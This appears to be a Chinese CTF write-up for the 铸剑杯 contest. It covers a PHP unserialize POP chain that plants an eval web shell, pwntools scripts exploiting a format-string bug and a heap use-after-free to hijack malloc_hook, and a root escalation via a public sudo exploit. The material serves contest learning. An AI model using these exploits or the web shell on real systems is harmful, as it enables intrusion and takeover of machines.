铸剑杯 wp

Web

浅析PHP原生类

源码如下

代码块

```php
<?php
highlight_file(__FILE__);
class install {
    private $username;
    private $password;

    public function __wakeup()
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

class Until {
    public $a;
```

```
    public $b;
    public $c;

    public function __invoke()
    {
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

@unserialize($_GET['data']);
```

观察到install类中destruct方法，能植入username恶意代码写入到config.php，从而实现恶意代码执行。但我们需要使用zipArchive的OverWrite删除掉install.lock，内层Until后外层套两个install类即可。但是注意删除的同时会将新的序列化数据写入到config.php,故我们需要在中间层的password植入恶意代码，因为中间层的install无法走到destruct方法就会被外层install序列化，作为username打印至config.php。最终poc如下

代码块

```
<?php

class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke() {
        $this->write($this->a, $this->b, $this->c);
    }

    public function write($cla, $file, $cont) {
        $obj = new $cla();
        $obj->open($file, $cont);
    }
```

```php
}

class install {
    private $username;
    private $password;

    public function __toString() {
        ($this->username)();
        return "Guest";
    }
}

$until = new Until();
$until->a = 'ZipArchive';
$until->b = 'install.lock';
$until->c = ZipArchive::OVERWRITE;

// install2: 负责 __toString() 调用 $until()
$install2 = new install();
$ref2 = new ReflectionClass($install2);
$prop_user2 = $ref2->getProperty('username');
$prop_user2->setAccessible(true);
$prop_user2->setValue($install2, $until);
$prop_user3 = $ref2->getProperty('password');
$prop_user3->setAccessible(true);
$poc = '<?php @eval($_GET["cmd"]);?>'
$prop_user3->setValue($install2, $poc);


// install1: 负责 __toString() 调用 install2()
$install1 = new install();
$ref1 = new ReflectionClass($install1);
$prop_user1 = $ref1->getProperty('username');
$prop_user1->setAccessible(true);
$prop_user1->setValue($install1, $install2);

echo urlencode(serialize($payload));
```

Pwn

不吃牛肉

格式化字符串，直接修改这里的返回地址为后门函数的返回地址就好：

```
pwndbg> stack 30
00:0000│ rdi rsp 0x7ffdfcfc7b00 ◂— '%31528c%36$hn'
01:0008│-018     0x7ffdfcfc7b08 ◂— 0x6e68243633 /* '36$hn' */
02:0010│-010     0x7ffdfcfc7b10 —▸ 0x62db6c3941a0 ◂— endbr64
03:0018│-008     0x7ffdfcfc7b18 ◂— 0xa88e6cc938cf9f00
04:0020│ rbp     0x7ffdfcfc7b20 —▸ 0x7ffdfcfc7b40 —▸ 0x7ffdfcfc7b60 ◂— 0
05:0028│+008     0x7ffdfcfc7b28 —▸ 0x62db6c3944ab ◂— nop
06:0030│+010     0x7ffdfcfc7b30 ◂— 0x100000001
07:0038│+018     0x7ffdfcfc7b38 ◂— 0xa88e6cc938cf9f00
08:0040│+020     0x7ffdfcfc7b40 —▸ 0x7ffdfcfc7b60 ◂— 0
09:0048│+028     0x7ffdfcfc7b48 —▸ 0x62db6c39456b ◂— mov eax, 0
0a:0050│+030     0x7ffdfcfc7b50 —▸ 0x7ffdfcfc7c50 ◂— 1
0b:0058│+038     0x7ffdfcfc7b58 ◂— 0x500000000
0c:0060│+040     0x7ffdfcfc7b60 ◂— 0
0d:0068│+048     0x7ffdfcfc7b68 —▸ 0x7101ca88d083 (__libc_start_main+243) ◂— mov edi, eax
0e:0070│+050     0x7ffdfcfc7b70 —▸ 0x7101caa90620 (_rtld_global_ro) ◂— 0x6065700000000
0f:0078│+058     0x7ffdfcfc7b78 —▸ 0x7ffdfcfc7c58 —▸ 0x7ffdfcfc8eb1 ◂— 0x4853006e77702f2e /* './pwn' *
/
10:0080│+060     0x7ffdfcfc7b80 ◂— 0x100000000
11:0088│+068     0x7ffdfcfc7b88 —▸ 0x62db6c3944f2 ◂— endbr64
12:0090│+070     0x7ffdfcfc7b90 —▸ 0x62db6c394580 ◂— endbr64
13:0098│+078     0x7ffdfcfc7b98 ◂— 0x4996d3805820c915
14:00a0│+080     0x7ffdfcfc7ba0 —▸ 0x62db6c3941a0 ◂— endbr64
15:00a8│+088     0x7ffdfcfc7ba8 —▸ 0x7ffdfcfc7c50 ◂— 1
16:00b0│+090     0x7ffdfcfc7bb0 ◂— 0
17:00b8│+098     0x7ffdfcfc7bb8 ◂— 0
18:00c0│+0a0     0x7ffdfcfc7bc0 ◂— 0xb66d2a78aec0c915
19:00c8│+0a8     0x7ffdfcfc7bc8 ◂— 0xab954691f84ec915
1a:00d0│+0b0     0x7ffdfcfc7bd0 ◂— 0
... ↓            2 skipped
1d:00e8│+0c8     0x7ffdfcfc7be8 ◂— 1
pwndbg>
```

代码块

```python
from pwn import *
from pwn_std import *

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow
"""
def check():
    ru(b'what\'s ')
    num1=int(rc(2),10)
```

```
    ru(b'add ')
    num2=int(rc(2),10)
    r=num1+num2
    p.sendline(str(r).encode())

check()
check()
check()
check()
check()

sla("[2]leave",str(1))
#第一次泄露stack
sla(b"Input:",'%10$p')
ru('Your input:0x')
stack=int(rc(12),16)
print("stack:"+hex(stack))

addr = stack - 0x18
addr = (addr & 0xffff)
payload = '%'+str(addr)+'c%36$hn'

sla("[2]leave",str(1))
sa(b'Input:\n',payload)
sla(b'[2]leave\n', '1')
backdoor=0xe3
payload1 = '%'+str(0xe3)+'c%49$hhn'
sa(b'Input:\n',payload1)

# gdbbug(cmd)

ita()
```

我最好的初代同事

存在UAF漏洞，直接先利用unstoredbin得到libc地址，之后打fastbinattack申请到这个malloc_hook上，修改hook为system，将size修改为/bin/sh的地址就好

IDA View-A | Pseudocode-A | Hex View-1

```
void sub_B4A()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v0 = sub_ABF();
  free(*((void **)&unk_2020C0 + v0));
}
```

代码块

```
from pwn import *
from pwn_std import *
from ctypes import CDLL

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc = CDLL('/home/alpha/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
gdb -ex set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/ ./pwn
gdb -ex "add-symbol-file /home/alpha/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/lib/x86_64-linux-gnu/libc-2.27.so" ./pwn
'''

cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow
"""
def find(num):
    if num not in [0, 1, 2, 3]:
        raise ValueError("num 必须是 0, 1, 2, 或 3")

```

```python
    # 在绝大多数libc实现中，这个映射是有效的
    seed = num

    # 验证
    libc.srand(seed)
    actual_result = libc.rand() % 4

    if actual_result == num:
        return seed
    else:
        # 如果验证失败，搜索下一个可用的seed
        for test_seed in range(4, 100):
            libc.srand(test_seed)
            if libc.rand() % 4 == num:
                return test_seed
        return 0  # 默认返回0

def choose(num):
    sla(b'choice:',str(num))
# 堆的菜单题
def add(num,size):
    choose(find(0))
    sla(b'index:',str(num))
    sla(b'size',str(size))

def dele(num):
    choose(find(1))
    sla(b'index:',str(num))

def edit(num,size,content):
    choose(find(2))
    sla(b'index:',str(num))
    sla(b'length:',str(size))
    sa(b'content:',content)

def show(num):
    choose(find(3))
    sla(b'index:',str(num))

add(0,0x400)
add(1,0x68)
add(2,0x68)
add(3,0x68)

dele(0)
show(0)
rc(1)
```

```python
lb=uu64(rc(6))-(0x7ccbf9dc4b78-0x7ccbf9a00000)
print("libc_base=",hex(lb))
malloc_hook=lb+0x7a14f45c4b10-0x7a14f4200000
free_hook=lb+0x7a14f45c67a8-0x7a14f4200000
print("malloc_hook=",hex(malloc_hook))
print("free_hook=",hex(free_hook))

dele(1)

fd=p64(malloc_hook-0x23)

edit(1,0x8,(fd))
add(4,0x68)

add(5,0x68)

libc=ELF('/home/alpha/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
system=lb+libc.sym["system"]
binsh=lb+next(libc.search(b"/bin/sh\x00"))

libc = CDLL('/home/alpha/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
edit(5,0x38,b'a'*0x13+p64(system))

choose(find(0))
sla(b'index:',str(6))
sla(b'size',str(binsh))

# dele(5)
# gdbbug(cmd)
ita()
```

Infosec

最近还好吗

今年最大的洞就是 sudo 提权，对了一下版本号，刚好在影响范围内，直接梭哈

CVE-2025-32463

网上找个exp直接打

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

提权root拿flag

```
pwn@6a075a5ac035:~$ ls
sudo-chwoot.sh
pwn@6a075a5ac035:~$ chmod +x sudo-chwoot.sh
pwn@6a075a5ac035:~$ ./sudo-chwoot.sh
woot!
root@6a075a5ac035:/# cat flag
flag{a8a725c522e2b0ef88fb3eacf973197d}
root@6a075a5ac035:/#
```